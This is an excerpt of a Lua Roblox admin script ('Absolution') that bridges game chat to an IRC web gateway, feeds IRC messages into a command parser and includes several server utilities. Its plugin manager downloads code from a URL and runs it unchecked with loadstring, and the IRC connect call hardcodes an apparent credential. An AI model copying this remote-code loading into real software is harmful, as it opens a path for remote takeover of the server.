| 1452 | Connection.ChannelEvents[Channel] = {}
| |
| 1453 | Connection.UserLists[Channel] = {}
| |
| 1454 | Connection.UserLists[Channel][Nick] = true | |
| 1455 | local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]] | |
| 1456 | local RawSearch = Search:gsub("%%","")
| |
| 1457 | local Start = Str:find(Search) | |
| 1458 | if Start ~= nil then | |
| 1459 | local End = Str:find('"',Start+#RawSearch+1,true)
| |
| 1460 | local List = Str:sub(Start+#RawSearch,End-1) | |
| 1461 | for Match in List:gmatch("[^%s]+") do
| |
| 1462 | if Match ~= Nick then | |
| 1463 | if Match:sub(1,1):match("[%w]") then
| |
| 1464 | Connection.UserLists[Channel][Match] = true | |
| 1465 | else | |
| 1466 | Connection.UserLists[Channel][Match:sub(2)] = true | |
| 1467 | end | |
| 1468 | end | |
| 1469 | end | |
| 1470 | end | |
| 1471 | Spawn(function() | |
| 1472 | Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User) | |
| 1473 | Connection.UserLists[Channel][User] = true | |
| 1474 | end) | |
| 1475 | Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User) | |
| 1476 | wait(0.02) | |
| 1477 | Connection.UserLists[Channel][User] = nil | |
| 1478 | end) | |
| 1479 | Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick) | |
| 1480 | wait(0.02) | |
| 1481 | Connection.UserLists[Channel][User] = nil | |
| 1482 | Connection.UserLists[Channel][Nick] = true | |
| 1483 | end) | |
| 1484 | wait(0.02) | |
| 1485 | HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true) | |
| 1486 | end) | |
| 1487 | return true | |
| 1488 | --[[else | |
| 1489 | return false,"Something went wrong."]] | |
| 1490 | end | |
| 1491 | else | |
| 1492 | return false,"There is no connection with this nick and host." | |
| 1493 | end | |
| 1494 | end | |
| 1495 | ||
| 1496 | Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel) | |
| 1497 | local Host = Connection.Host | |
| 1498 | local Nick = Connection.Nick | |
| 1499 | local Key = Connection.Key | |
| 1500 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1501 | local New = {}
| |
| 1502 | for i,v in pairs(Connection.UserLists[Channel]) do | |
| 1503 | New[#New+1] = i | |
| 1504 | end | |
| 1505 | return New | |
| 1506 | else | |
| 1507 | return false,"There is no connection with this nick and host." | |
| 1508 | end | |
| 1509 | end | |
| 1510 | ||
| 1511 | Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel) | |
| 1512 | local Host = Connection.Host | |
| 1513 | local Nick = Connection.Nick | |
| 1514 | local Key = Connection.Key | |
| 1515 | local Str = "" | |
| 1516 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1517 | Connection.Counter = Connection.Counter+1 | |
| 1518 | local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ") | |
| 1519 | if Data:find("true") then
| |
| 1520 | Connection.Channels[Channel] = nil | |
| 1521 | for i,v in pairs(Connection.ChannelEvents[Channel]) do | |
| 1522 | v:Disconnect() | |
| 1523 | end | |
| 1524 | Connection.UserLists[Channel] = nil | |
| 1525 | Connection.SelfEvents = {}
| |
| 1526 | Connection.ChannelEvents[Channel] = nil | |
| 1527 | return true | |
| 1528 | elseif Data:lower():find("throttled") then
| |
| 1529 | return false,"Oh no! We got throttled." | |
| 1530 | else | |
| 1531 | return false,"Something went wrong." | |
| 1532 | end | |
| 1533 | else | |
| 1534 | return false,"There is no connection with this nick and host." | |
| 1535 | end | |
| 1536 | end | |
| 1537 | ||
| 1538 | Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message) | |
| 1539 | local Host = Connection.Host | |
| 1540 | local Nick = Connection.Nick | |
| 1541 | local Key = Connection.Key | |
| 1542 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1543 | if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then | |
| 1544 | if Message==Absolution.HttpConstants.pircm then return end | |
| 1545 | Absolution.HttpConstants.pircm = Message | |
| 1546 | Connection.Counter = Connection.Counter+1 | |
| 1547 | local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message)) | |
| 1548 | if Ping ~= false then | |
| 1549 | return true,Ping | |
| 1550 | else | |
| 1551 | return false,"Something went wrong. "..Ping | |
| 1552 | end | |
| 1553 | else | |
| 1554 | return false,"You are not on this channel with this connection." | |
| 1555 | end | |
| 1556 | else | |
| 1557 | return false,"There is no connection with this nick and host." | |
| 1558 | end | |
| 1559 | end | |
| 1560 | ||
| 1561 | local function VagueReceived(Connection,Event) | |
| 1562 | Connection.VagueEvents[#Connection.VagueEvents+1] = Event | |
| 1563 | if #Connection.VagueEvents == 1 then | |
| 1564 | while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do | |
| 1565 | Connection.Counter = Connection.Counter+1 | |
| 1566 | local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key) | |
| 1567 | if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then | |
| 1568 | HandleVagues(Connection,Ping) | |
| 1569 | end | |
| 1570 | wait() | |
| 1571 | end | |
| 1572 | end | |
| 1573 | end | |
| 1574 | ||
| 1575 | Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event) | |
| 1576 | local Host = Connection.Host | |
| 1577 | local Nick = Connection.Nick | |
| 1578 | local Key = Connection.Key | |
| 1579 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1580 | if Connection.Channels[Channel] == true then | |
| 1581 | local Con = {}
| |
| 1582 | local Connected = true | |
| 1583 | local VCon; | |
| 1584 | Spawn(function() | |
| 1585 | local function Return(v) | |
| 1586 | if Connected == false then | |
| 1587 | for i,v in pairs(Connection.VagueEvents) do | |
| 1588 | if v == VCon then | |
| 1589 | Connection.VagueEvents[i] = false | |
| 1590 | end | |
| 1591 | end | |
| 1592 | return | |
| 1593 | end | |
| 1594 | if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then | |
| 1595 | local probplr; | |
| 1596 | if v[3]:find('absolutionClient_') then
| |
| 1597 | probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
| |
| 1598 | v[4][2] = string.gsub(v[4][2],probplr..':','') | |
| 1599 | else | |
| 1600 | probplr = v[3]:sub(1,v[3]:find("!")-1)
| |
| 1601 | end | |
| 1602 | Event(v[4][2],nil, probplr) | |
| 1603 | Absolution.Functions.IRCCommandParser(probplr, v) | |
| 1604 | end | |
| 1605 | end | |
| 1606 | VCon = Return | |
| 1607 | VagueReceived(Connection,Return) | |
| 1608 | end) | |
| 1609 | Con.Disconnect = function(this) | |
| 1610 | Connected = false | |
| 1611 | Connection.ChannelEvents[Channel][Con] = nil | |
| 1612 | end | |
| 1613 | Connection.ChannelEvents[Channel][Con] = Con | |
| 1614 | return Con | |
| 1615 | else | |
| 1616 | return false,"You are not on this channel with this connection." | |
| 1617 | end | |
| 1618 | else | |
| 1619 | return false,"There is no connection with this nick and host." | |
| 1620 | end | |
| 1621 | end | |
| 1622 | ||
| 1623 | Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event) | |
| 1624 | local Host = Connection.Host | |
| 1625 | local Nick = Connection.Nick | |
| 1626 | local Key = Connection.Key | |
| 1627 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1628 | local Con = {}
| |
| 1629 | local Connected = true | |
| 1630 | local VCon; | |
| 1631 | Spawn(function() | |
| 1632 | local function Return(v) | |
| 1633 | if Connected == false then | |
| 1634 | for i,v in pairs(Connection.VagueEvents) do | |
| 1635 | if v == VCon then | |
| 1636 | Connection.VagueEvents[i] = false | |
| 1637 | end | |
| 1638 | end | |
| 1639 | return | |
| 1640 | end | |
| 1641 | if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then | |
| 1642 | Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
| |
| 1643 | end | |
| 1644 | end | |
| 1645 | VCon = Return | |
| 1646 | VagueReceived(Connection,Return) | |
| 1647 | end) | |
| 1648 | Con.Disconnect = function(this) | |
| 1649 | Connected = false | |
| 1650 | Connection.ChannelEvents[Nick][Con] = nil | |
| 1651 | end | |
| 1652 | Connection.ChannelEvents[Nick][Con] = Con | |
| 1653 | return Con | |
| 1654 | else | |
| 1655 | return false,"There is no connection with this nick and host." | |
| 1656 | end | |
| 1657 | end | |
| 1658 | ||
| 1659 | Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event) | |
| 1660 | local Host = Connection.Host | |
| 1661 | local Nick = Connection.Nick | |
| 1662 | local Key = Connection.Key | |
| 1663 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1664 | if Connection.Channels[Channel] == true then | |
| 1665 | local Con = {}
| |
| 1666 | local Connected = true | |
| 1667 | local VCon; | |
| 1668 | Spawn(function() | |
| 1669 | local function Return(v) | |
| 1670 | if Connected == false then | |
| 1671 | for i,v in pairs(Connection.VagueEvents) do | |
| 1672 | if v == VCon then | |
| 1673 | Connection.VagueEvents[i] = false | |
| 1674 | end | |
| 1675 | end | |
| 1676 | return | |
| 1677 | end | |
| 1678 | if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then | |
| 1679 | if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
| |
| 1680 | Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
| |
| 1681 | end | |
| 1682 | end | |
| 1683 | end | |
| 1684 | VCon = Return | |
| 1685 | VagueReceived(Connection,Return) | |
| 1686 | end) | |
| 1687 | Con.Disconnect = function(this) | |
| 1688 | Connected = false | |
| 1689 | Connection.ChannelEvents[Channel][Con] = nil | |
| 1690 | end | |
| 1691 | Connection.ChannelEvents[Channel][Con] = Con | |
| 1692 | return Con | |
| 1693 | else | |
| 1694 | return false,"You are not on this channel with this connection." | |
| 1695 | end | |
| 1696 | else | |
| 1697 | return false,"There is no connection with this nick and host." | |
| 1698 | end | |
| 1699 | end | |
| 1700 | ||
| 1701 | Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event) | |
| 1702 | local Host = Connection.Host | |
| 1703 | local Nick = Connection.Nick | |
| 1704 | local Key = Connection.Key | |
| 1705 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1706 | if Connection.Channels[Channel] == true then | |
| 1707 | local Con = {}
| |
| 1708 | local Connected = true | |
| 1709 | local VCon; | |
| 1710 | Spawn(function() | |
| 1711 | local function Return(v,Raw) | |
| 1712 | if Connected == false then | |
| 1713 | for i,v in pairs(Connection.VagueEvents) do | |
| 1714 | if v == VCon then | |
| 1715 | Connection.VagueEvents[i] = false | |
| 1716 | end | |
| 1717 | end | |
| 1718 | return | |
| 1719 | end | |
| 1720 | if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
| |
| 1721 | Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
| |
| 1722 | end | |
| 1723 | end | |
| 1724 | VCon = Return | |
| 1725 | VagueReceived(Connection,Return) | |
| 1726 | end) | |
| 1727 | Con.Disconnect = function(this) | |
| 1728 | Connected = false | |
| 1729 | Connection.ChannelEvents[Channel][Con] = nil | |
| 1730 | end | |
| 1731 | Connection.ChannelEvents[Channel][Con] = Con | |
| 1732 | return Con | |
| 1733 | else | |
| 1734 | return false,"You are not on this channel with this connection." | |
| 1735 | end | |
| 1736 | else | |
| 1737 | return false,"There is no connection with this nick and host." | |
| 1738 | end | |
| 1739 | end | |
| 1740 | ||
| 1741 | Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event) | |
| 1742 | local Host = Connection.Host | |
| 1743 | local Nick = Connection.Nick | |
| 1744 | local Key = Connection.Key | |
| 1745 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1746 | if Connection.Channels[Channel] == true then | |
| 1747 | local Con = {}
| |
| 1748 | local Connected = true | |
| 1749 | local VCon; | |
| 1750 | Spawn(function() | |
| 1751 | local function Return(v) | |
| 1752 | if Connected == false then | |
| 1753 | for i,v in pairs(Connection.VagueEvents) do | |
| 1754 | if v == VCon then | |
| 1755 | Connection.VagueEvents[i] = false | |
| 1756 | end | |
| 1757 | end | |
| 1758 | return | |
| 1759 | end | |
| 1760 | if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then | |
| 1761 | Event(v[3]:sub(1,v[3]:find("!")-1))
| |
| 1762 | elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then | |
| 1763 | if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
| |
| 1764 | Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
| |
| 1765 | end | |
| 1766 | end | |
| 1767 | end | |
| 1768 | VCon = Return | |
| 1769 | VagueReceived(Connection,Return) | |
| 1770 | end) | |
| 1771 | Con.Disconnect = function(this) | |
| 1772 | Connected = false | |
| 1773 | Connection.ChannelEvents[Channel][Con] = nil | |
| 1774 | end | |
| 1775 | Connection.ChannelEvents[Channel][Con] = Con | |
| 1776 | return Con | |
| 1777 | else | |
| 1778 | return false,"You are not on this channel with this connection." | |
| 1779 | end | |
| 1780 | else | |
| 1781 | return false,"There is no connection with this nick and host." | |
| 1782 | end | |
| 1783 | end | |
| 1784 | ||
| 1785 | Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection) | |
| 1786 | local Host = Connection.Host | |
| 1787 | local Nick = Connection.Nick | |
| 1788 | local Key = Connection.Key | |
| 1789 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1790 | Connection.Counter = Connection.Counter+1 | |
| 1791 | local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net") | |
| 1792 | if Ping ~= false then | |
| 1793 | return true | |
| 1794 | else | |
| 1795 | return false,"Something went wrong." | |
| 1796 | end | |
| 1797 | else | |
| 1798 | return false,"There is no connection with this nick and host." | |
| 1799 | end | |
| 1800 | end | |
| 1801 | ||
| 1802 | Absolution.HttpConstants.IRC.IRCVerify = function(pName) | |
| 1803 | for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do | |
| 1804 | if pName == v then | |
| 1805 | return true | |
| 1806 | end | |
| 1807 | end | |
| 1808 | return false | |
| 1809 | end | |
| 1810 | ||
| 1811 | Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername) | |
| 1812 | if not Absolution.HttpConstants.IRC.Connection then return end | |
| 1813 | local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
| |
| 1814 | if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end | |
| 1815 | return "success" | |
| 1816 | end | |
| 1817 | ||
| 1818 | Absolution.Functions.IRCLaunch = function() | |
| 1819 | local function Connect(Channel, con, event) | |
| 1820 | local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
| |
| 1821 | if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end | |
| 1822 | Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event) | |
| 1823 | Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event) | |
| 1824 | Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event) | |
| 1825 | end | |
| 1826 | Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
| |
| 1827 | Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat) | |
| 1828 | Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey) | |
| 1829 | spawn(function() | |
| 1830 | while wait(5) do | |
| 1831 | if not Absolution then break end | |
| 1832 | Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection) | |
| 1833 | end | |
| 1834 | end) | |
| 1835 | end | |
| 1836 | ||
| 1837 | -- GetSplit & Dismiss -- | |
| 1838 | Absolution.Functions.Dismiss = function(plr) | |
| 1839 | pcall(function() | |
| 1840 | if type(plr) == "string" and type(plr)~='userdata' then | |
| 1841 | plr = game:service'Players':findFirstChild(plr) | |
| 1842 | local pack = Absolution.Handler:sendPacket(plr, 'Dismiss') | |
| 1843 | return pack | |
| 1844 | elseif type(plr)=='userdata' then | |
| 1845 | local pack = Absolution.Handler:sendPacket(plr, 'Dismiss') | |
| 1846 | return pack | |
| 1847 | else | |
| 1848 | return 'wrong data type for plr' | |
| 1849 | end | |
| 1850 | ||
| 1851 | --[[ | |
| 1852 | for i,v in pairs(Absolution.Tablets) do | |
| 1853 | if v.Plr == plr then | |
| 1854 | coroutine.wrap(function() | |
| 1855 | for i = 0, 1, 0.1 do | |
| 1856 | pcall(function() | |
| 1857 | v.Tab.Transparency = i | |
| 1858 | v.Tab.BG.TL.TextStrokeTransparency = i | |
| 1859 | wait() | |
| 1860 | end) | |
| 1861 | end | |
| 1862 | v.Tab:Destroy() | |
| 1863 | end)() | |
| 1864 | Absolution.Tablets[i]=nil | |
| 1865 | end | |
| 1866 | end | |
| 1867 | --]] | |
| 1868 | end) | |
| 1869 | end | |
| 1870 | ||
| 1871 | Absolution.Functions.GetSplit = function(Message) | |
| 1872 | local a = nil | |
| 1873 | for i = 1, #Message do | |
| 1874 | if Message:sub(i,i) == "-" then | |
| 1875 | a = i + 1 | |
| 1876 | break | |
| 1877 | end | |
| 1878 | end | |
| 1879 | if a ~= nil then | |
| 1880 | return Message:sub(a) | |
| 1881 | else | |
| 1882 | return nil | |
| 1883 | end | |
| 1884 | end | |
| 1885 | ||
| 1886 | -- Notifications -- | |
| 1887 | Absolution.Functions.Notify = function(Message, Player, Color) | |
| 1888 | if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end | |
| 1889 | Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
| |
| 1890 | local pseudoColor | |
| 1891 | if Color=='White' then | |
| 1892 | pseudoColor = 'Print' | |
| 1893 | elseif Color=='Red' then | |
| 1894 | pseudoColor = 'Error' | |
| 1895 | elseif Color=='Blue' then | |
| 1896 | pseudoColor='Run' | |
| 1897 | elseif Color=='Green' then | |
| 1898 | pseudoColor='Note' | |
| 1899 | elseif Color=='Orange' then | |
| 1900 | pseudoColor='Warn' | |
| 1901 | else | |
| 1902 | pseudoColor='Print' | |
| 1903 | end | |
| 1904 | Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
| |
| 1905 | end | |
| 1906 | ||
| 1907 | -- getServerInfo -- | |
| 1908 | Absolution.Functions.getServerInfo = function() | |
| 1909 | local rtnData = {}
| |
| 1910 | local getAllInstances = function() | |
| 1911 | local finalInstanceCount = 0 | |
| 1912 | local data = {}
| |
| 1913 | local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
| |
| 1914 | recurse = function(place) | |
| 1915 | for i,v in pairs(place:children'') do | |
| 1916 | data[#data+1] = v | |
| 1917 | recurse(v) | |
| 1918 | end | |
| 1919 | return data | |
| 1920 | end | |
| 1921 | for nildata,place in pairs(places) do | |
| 1922 | for i,v in pairs(recurse(game:GetService(place))) do | |
| 1923 | finalInstanceCount=finalInstanceCount+1 | |
| 1924 | end | |
| 1925 | end | |
| 1926 | return finalInstanceCount | |
| 1927 | end | |
| 1928 | local getAllPlayerLatencyRounded = function() | |
| 1929 | local prepareToRound = {}
| |
| 1930 | local finalRound = 0 | |
| 1931 | local toDivide = 0 | |
| 1932 | for i,v in pairs(Absolution.Players) do | |
| 1933 | local data = v["FPS"] | |
| 1934 | table.insert(prepareToRound, data and data or 30) | |
| 1935 | end | |
| 1936 | for nildata,index in next,prepareToRound do | |
| 1937 | finalRound = finalRound+index | |
| 1938 | toDivide = toDivide+1 | |
| 1939 | end | |
| 1940 | return (finalRound/toDivide) | |
| 1941 | end | |
| 1942 | local getNumData = function(data) | |
| 1943 | local rtn = 0 | |
| 1944 | for i,v in next,data do | |
| 1945 | rtn = rtn + 1 | |
| 1946 | end | |
| 1947 | return rtn | |
| 1948 | end | |
| 1949 | local getNumAdmins = function() | |
| 1950 | local adminCount = 0 | |
| 1951 | for i,v in next,Absolution.Ranked do | |
| 1952 | if v.Rank ==6 then | |
| 1953 | adminCount = adminCount + 1 | |
| 1954 | end | |
| 1955 | end | |
| 1956 | return adminCount | |
| 1957 | end | |
| 1958 | local getNumMods = function() | |
| 1959 | local adminCount = 0 | |
| 1960 | for i,v in next,Absolution.Ranked do | |
| 1961 | if v.Rank ==4 then | |
| 1962 | adminCount = adminCount + 1 | |
| 1963 | end | |
| 1964 | end | |
| 1965 | return adminCount | |
| 1966 | end | |
| 1967 | local getNumStaff = function() | |
| 1968 | local adminCount = 0 | |
| 1969 | for i,v in next,Absolution.Ranked do | |
| 1970 | if v.Rank >=4 then | |
| 1971 | adminCount = adminCount + 1 | |
| 1972 | end | |
| 1973 | end | |
| 1974 | return adminCount | |
| 1975 | end | |
| 1976 | local getNumBanned = function() | |
| 1977 | local bannedPlayers = 0 | |
| 1978 | for i,v in next,Absolution.Ranked do | |
| 1979 | if v.Rank < 0 then | |
| 1980 | bannedPlayers = bannedPlayers+1 | |
| 1981 | end | |
| 1982 | end | |
| 1983 | return bannedPlayers | |
| 1984 | end | |
| 1985 | local getAdminsInGame = function() | |
| 1986 | local allAdmins = {}
| |
| 1987 | for i,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 1988 | local pRank = Absolution.Functions:findRank(v) | |
| 1989 | if pRank >=4 then | |
| 1990 | table.insert(allAdmins, tostring(v)) | |
| 1991 | end | |
| 1992 | end | |
| 1993 | return allAdmins | |
| 1994 | end | |
| 1995 | rtnData["RanBy"] = (tostring(Absolution.ranBy)) | |
| 1996 | rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server) | |
| 1997 | rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled) | |
| 1998 | rtnData["#Connections"] = (getNumData(Absolution.Connections)) | |
| 1999 | rtnData["#Functions"] = (getNumData(Absolution.Functions)) | |
| 2000 | rtnData["#Commands"] = (getNumData(Absolution.Commands)) | |
| 2001 | rtnData["#Admins"] = (getNumAdmins()) | |
| 2002 | rtnData["#Moderators"] = (getNumMods()) | |
| 2003 | rtnData["#Staff"] = (getNumStaff()) | |
| 2004 | rtnData["#Banned"] = (getNumBanned()) | |
| 2005 | rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':')) | |
| 2006 | rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked)) | |
| 2007 | rtnData["Players"] = (#Absolution.Functions.getALLPlayers()) | |
| 2008 | rtnData["ServerLatency"] = (1/wait()) | |
| 2009 | rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime)) | |
| 2010 | rtnData["InstanceCount"] = (getAllInstances()) | |
| 2011 | rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName()) | |
| 2012 | return rtnData | |
| 2013 | end | |
| 2014 | ||
| 2015 | --tropkillaz | |
| 2016 | ||
| 2017 | -- PlayAudio -- | |
| 2018 | Absolution.Functions.PlayAudio = function(Player,Id) | |
| 2019 | Absolution.Functions.Dismiss(Player) | |
| 2020 | for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
| |
| 2021 | if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end | |
| 2022 | local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
| |
| 2023 | Sound:Play() | |
| 2024 | Absolution.Music.isPlaying = true | |
| 2025 | Absolution.Music.currentSong = Sound | |
| 2026 | Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2) | |
| 2027 | Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2) | |
| 2028 | Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2) | |
| 2029 | Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end) | |
| 2030 | Absolution.Functions.Output(Player,"Music settings",nil,function() | |
| 2031 | Absolution.Functions.Dismiss(Player) | |
| 2032 | local Return | |
| 2033 | Return = function() | |
| 2034 | Absolution.Functions.Dismiss(Player) | |
| 2035 | Absolution.Functions.Output(Player, "Set Volume", nil, function() | |
| 2036 | Absolution.Functions.Dismiss(Player) | |
| 2037 | for Volume = 0, 1, .1 do | |
| 2038 | Absolution.Functions.Output(Player, Volume, nil, function() | |
| 2039 | Absolution.Functions.Dismiss(Player) | |
| 2040 | Sound.Volume = Volume | |
| 2041 | end) | |
| 2042 | end | |
| 2043 | Absolution.Functions.Output(Player, "Back", "Bright red", Return) | |
| 2044 | end) | |
| 2045 | Absolution.Functions.Output(Player, "Stop Song", nil,function() | |
| 2046 | Absolution.Functions.Dismiss(Player) | |
| 2047 | Sound:Stop() | |
| 2048 | wait() | |
| 2049 | Sound:Destroy() | |
| 2050 | end) | |
| 2051 | end | |
| 2052 | Return() | |
| 2053 | end) | |
| 2054 | end | |
| 2055 | ||
| 2056 | -- Plugins -- | |
| 2057 | Absolution.PluginManager.Launch = function() | |
| 2058 | local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner... | |
| 2059 | local o = Absolution.Functions.Output | |
| 2060 | p.addPlugin = function(self, module) | |
| 2061 | local m=require(module) | |
| 2062 | if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end | |
| 2063 | local Title=m["packTitle"] | |
| 2064 | local Version=m["currentVersion"] | |
| 2065 | local CommandPack=m["commandFunctions"] | |
| 2066 | if not Title then Title='Undefined'end | |
| 2067 | if not Version then Version = 1 end | |
| 2068 | if not CommandPack then return'No commands were found!'end | |
| 2069 | for i,v in pairs(CommandPack) do | |
| 2070 | local cmd = i | |
| 2071 | local tbl = v | |
| 2072 | local success, yourlifeisafail = ypcall(function() | |
| 2073 | Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function) | |
| 2074 | end) | |
| 2075 | if not success then | |
| 2076 | o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
| |
| 2077 | Absolution.Functions.Dismiss(dismissed) | |
| 2078 | o(dismissed, 'ERROR: '..yourlifeisafail) | |
| 2079 | o(dismissed, 'Module: '..tostring(module)) | |
| 2080 | o(dismissed, 'packTitle: '..Title) | |
| 2081 | o(dismissed, 'packRevision: '..Version) | |
| 2082 | end) | |
| 2083 | else | |
| 2084 | self[cmd] = tbl | |
| 2085 | end | |
| 2086 | end | |
| 2087 | end | |
| 2088 | local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink) | |
| 2089 | if rtn then | |
| 2090 | local mods = loadstring(rtn)() | |
| 2091 | wait'' | |
| 2092 | if Absolution.PluginManager.Modules then | |
| 2093 | local modz= Absolution.PluginManager.Modules | |
| 2094 | for i,v in pairs(modz) do | |
| 2095 | Absolution.PluginManager:addPlugin(v) | |
| 2096 | end | |
| 2097 | end | |
| 2098 | end | |
| 2099 | end | |
| 2100 | ||
| 2101 | -- HttpGet -- | |
| 2102 | Absolution.Functions.HttpGet = function(URL) | |
| 2103 | return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled") | |
| 2104 | end | |
| 2105 | ||
| 2106 | -- GetCatalog -- | |
| 2107 | Absolution.Functions.GetCatalog = function(KeyWords, Category) | |
| 2108 | local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords) | |
| 2109 | local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category) | |
| 2110 | print(URL) | |
| 2111 | return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL)) | |
| 2112 | end | |
| 2113 | ||
